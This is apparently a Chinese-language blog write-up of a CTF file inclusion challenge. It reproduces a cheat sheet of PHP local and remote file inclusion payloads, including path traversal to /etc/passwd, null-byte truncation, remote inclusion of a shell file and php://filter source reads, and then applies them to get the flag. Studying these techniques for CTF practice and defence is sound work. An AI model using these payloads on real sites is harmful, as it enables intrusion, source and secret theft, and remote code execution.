打开题目链接可以看到
这就是典型的文件包含漏洞(当然题目中也是告诉你了,就是文件包含漏洞),之前不是很了解文件包含漏洞是什么,在这里实现了一下。
大概找了一下,有位大哥小小总结了一下技巧
1.基本的文件包含漏洞:
code :
* 包含同路径下的文件:
?file=.htaccess
* 路径遍历:
?file=../../../../../../../../../var/lib/locate.db
(该文件非常有趣因为它允许你搜索文件系统)
* 包含注入PHP代码的文件:
?file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)
2.受限的本地文件包含:
code :
* 空字符注入(Null Byte Injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目录(Null Byte Injection):
?file=../../../../../../../../../var/www/accounts/%00
(仅限BSD, 需要magic_quotes_gpc=off,详细信息here)
*路径截断(Path Truncation):
?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
(详细信息参见 here 和 here)
* 点号截断:
?file=../../../../../../../../../etc/passwd……………. …
(仅限Windows, 更多细节参见 here)
3.基本的远程文件包含:
code :
* 包含远程代码(Including Remote Code):
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
* 使用php输入流(Using PHP stream php://input):
?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
* 使用PHP过滤函数(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)
* 用于跨站脚本攻击(Using XSS):
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)
4.受限的远程文件包含漏洞
code :
* ?file=http://websec.wordpress.com/shell
* ?file=http://websec.wordpress.com/shell.txt?
* ?file=http://websec.wordpress.com/shell.txt%23
(需要 allow_url_fopen=On 和 allow_url_include=On)
5.静态远程文件包含漏洞:
code :
* 中间人攻击(Man In The Middle)
(lame indeed, but often forgotten)
虽然很多我也不是很懂,但是暂且放在这里以待日后使用!下面继续实验!
用firefox下载一个hackbar,用常用的php://input输入尝试。原理是include字符串可以直接在界面输出的,当然需要支持allow_url_include=On,不过非常不巧的是这里正好是开着的
然后我们先进行实验
我们看到是可以实现的!但是现在我们不知道文件有什么,所以进行一下寻找。然后我们构造可以看到
应该就是dle345aae.php这个文件了,但是我们直接输入并没有什么效果
这是怎么回事???猜测是读取的时候加了waf,用filter功能就行了!构造
?path=php://filter/convert.base64-encode/resource=dle345aae.php
就会用base64的形势输出,然后解密就得到了答案!
(PS:本来想尝试一下远程的,但是发现远程链接打开选项是关闭的,没办法了)